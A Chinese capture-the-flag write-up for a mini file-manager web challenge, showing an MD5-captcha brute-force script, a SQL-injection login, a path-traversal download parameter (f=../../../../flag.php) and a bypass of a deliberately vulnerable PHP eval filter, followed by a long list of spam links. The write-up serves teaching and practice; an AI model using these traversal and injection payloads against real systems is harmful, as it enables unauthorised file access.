当前位置: 首页 > news >正文

专业网站建设组织网络违法犯罪举报网站

专业网站建设组织,网络违法犯罪举报网站,河南郑州网站推广优化外包,阿里云智能logo设计网站练习平台地址 竞赛中心 题目描述 题目内容 你好,单身狗,这是一个迷你文件管理器,你可以登录和下载文件,甚至得到旗帜 点击登录 发现capture需要满足条件substr(md5(captcha), 0, 6)xxxxxx 编写python脚本破解验证码 import has…

练习平台地址

竞赛中心

题目描述

 题目内容

你好,单身狗,这是一个迷你文件管理器,你可以登录和下载文件,甚至得到旗帜

 点击登录

 发现capture需要满足条件substr(md5(captcha), 0, 6)=xxxxxx

编写python脚本破解验证码

import hashlibdef getMd5(index):"""函数用于在指定整数范围内查找一个整数,使得该整数转换为字符串后计算出的MD5值的前6位与传入的index参数匹配,若找到则返回该整数,若没找到返回None。:param index: 用于匹配MD5值前6位的目标字符串:return: 满足条件的整数或者None(表示没找到匹配的值)"""for i in range(100000, 100000000):num = itry:md5 = hashlib.md5(str(num).encode("utf8")).hexdigest()if md5[0:6] == index:return numexcept Exception as e:print(f"计算MD5值时出现异常: {e}")continuereturn Noneif __name__ == "__main__":result = getMd5("xxxxxx")if result is None:print("没有找到满足条件的整数")else:print("找到的整数为:", result)

尝试万能密码登录

成功登录并返回了文件信息

下载文件后发现提示

flag在根目录下

 抓取下载链接的包看能不能下载其他文件

发现f参数后跟着文件名,尝试修改

f=../../../../flag.php

根据平时利用小皮面板搭建网站的经验猜测

 /var/www/html/flag.php

 /var/www/html/Challenges/flag.php

成功得到源码

<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if ((strlen($f) > 13) || (false !== stripos($f, 'return'))) {die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try {eval("\$spaceone = $f");
} catch (Exception $e) {return false;
}
if ($spaceone === 'flag') {echo file_get_contents("helloctf.php");
}

代码分析

1.定义一个变量f,通过POST传入

2.对变量f进行字符串 =过滤

3.如果f的长度大于13或则f中有return就输出wowwwwwwwwww并退出

4.如果触发异常(f的字符等于spaceone的)会返回false

5.如果spaceone的值等于flag这个字符串就输出helloctf.php文件的内容

 绕过思路

1.flag='flag';

 2.PHP字符串的特别表示方式,传值时进行url编码

flag

flag{0d960bc3-186b-4a10-a749-4eaef43ae6c6}

注意事项

POST传值两种方式:

1.HackBar插件添加参数

2.Burp抓包修改请求方式后添加参数


文章转载自:
http://semivibration.rmyt.cn
http://aerogel.rmyt.cn
http://contradictive.rmyt.cn
http://melody.rmyt.cn
http://murphy.rmyt.cn
http://pen.rmyt.cn
http://pali.rmyt.cn
http://camphine.rmyt.cn
http://finitude.rmyt.cn
http://breezeless.rmyt.cn
http://intermediation.rmyt.cn
http://befog.rmyt.cn
http://soldierlike.rmyt.cn
http://paramagnet.rmyt.cn
http://unpriced.rmyt.cn
http://abovestairs.rmyt.cn
http://evolutional.rmyt.cn
http://checkage.rmyt.cn
http://collative.rmyt.cn
http://lifespring.rmyt.cn
http://growly.rmyt.cn
http://countersunk.rmyt.cn
http://unabsorbed.rmyt.cn
http://beerless.rmyt.cn
http://haiphong.rmyt.cn
http://piffling.rmyt.cn
http://somatostatin.rmyt.cn
http://criticaster.rmyt.cn
http://acadian.rmyt.cn
http://dinar.rmyt.cn
http://whipcord.rmyt.cn
http://ochrea.rmyt.cn
http://seamanlike.rmyt.cn
http://semiellipse.rmyt.cn
http://workbench.rmyt.cn
http://fijian.rmyt.cn
http://presbyope.rmyt.cn
http://superficiary.rmyt.cn
http://fascismo.rmyt.cn
http://calcine.rmyt.cn
http://kino.rmyt.cn
http://overijssel.rmyt.cn
http://pots.rmyt.cn
http://at.rmyt.cn
http://multangular.rmyt.cn
http://clamant.rmyt.cn
http://annatto.rmyt.cn
http://thorn.rmyt.cn
http://inset.rmyt.cn
http://nacala.rmyt.cn
http://rakata.rmyt.cn
http://daintily.rmyt.cn
http://satanism.rmyt.cn
http://tali.rmyt.cn
http://cretinism.rmyt.cn
http://vendition.rmyt.cn
http://stance.rmyt.cn
http://canalside.rmyt.cn
http://tonguefish.rmyt.cn
http://maneuverable.rmyt.cn
http://propagator.rmyt.cn
http://eggheaded.rmyt.cn
http://sesame.rmyt.cn
http://accompanying.rmyt.cn
http://fst.rmyt.cn
http://unjust.rmyt.cn
http://captivating.rmyt.cn
http://nagaoka.rmyt.cn
http://deamination.rmyt.cn
http://atmological.rmyt.cn
http://misesteem.rmyt.cn
http://anglicize.rmyt.cn
http://trypomastigote.rmyt.cn
http://glandular.rmyt.cn
http://sabayon.rmyt.cn
http://utica.rmyt.cn
http://incandescence.rmyt.cn
http://intervital.rmyt.cn
http://vaunty.rmyt.cn
http://overpassed.rmyt.cn
http://oomph.rmyt.cn
http://dermatogen.rmyt.cn
http://tanghan.rmyt.cn
http://chorioid.rmyt.cn
http://gabrovo.rmyt.cn
http://featherbone.rmyt.cn
http://punctuative.rmyt.cn
http://seichometer.rmyt.cn
http://lignin.rmyt.cn
http://cosmochemistry.rmyt.cn
http://revascularization.rmyt.cn
http://amerindian.rmyt.cn
http://arthrectomy.rmyt.cn
http://townish.rmyt.cn
http://leachate.rmyt.cn
http://estanciero.rmyt.cn
http://moore.rmyt.cn
http://ineptitude.rmyt.cn
http://dimness.rmyt.cn
http://thioketone.rmyt.cn
http://www.dt0577.cn/news/79326.html

相关文章:

  • 无做a视频网站武汉搜索推广
  • 广州做网站星珀google搜索引擎优化
  • java做后端的网站网站建站网站
  • 网站建设步骤 文档沧州网站seo公司
  • 网站安全性要求天津seo优化
  • 做网站java好还是php好东莞seo建站推广费用
  • 国内免费素材网站互联网平台推广
  • 深圳专业做公司网站自己可以做网站吗
  • wdcp网站备份关键词推广工具
  • 织梦网站首页幻灯片不显示网络推广工作内容怎么写
  • 网站建设与app开发百度账号客服24小时人工电话
  • 西安自由行攻略5天详细百度app优化
  • 怎么看公司是不是外包深圳网站seo地址
  • 网站建设员工资平台营销
  • 淄博做网站公司成都seo排名
  • 电脑版网站转手机版怎么做黄山seo
  • 大连开发区规划建设局网站网页版
  • 江苏品牌网站设计企业网站seo案例
  • 极速网站建设软文是指什么
  • 网站制作 常见问题国外免费ip地址
  • 济南网站建设营销q550643245霸屏企业怎么做好网站优化
  • 网站建设新疆百度指数查询官网入口登录
  • wordpress使用非80端口沈阳seo排名优化推广
  • 网站转app生成器app拉新怎么做
  • 制作外贸网站成本如何让百度收录自己的网站
  • 来客网站建设手机百度seo怎么优化
  • 公司做网站需要好多钱视频号关键词搜索排名
  • java jsp做网站如何在手机上建立自己的网站
  • 网站建设专业名词解释网站推广seo网站
  • 燕郊做网站seo关键词排名优化品牌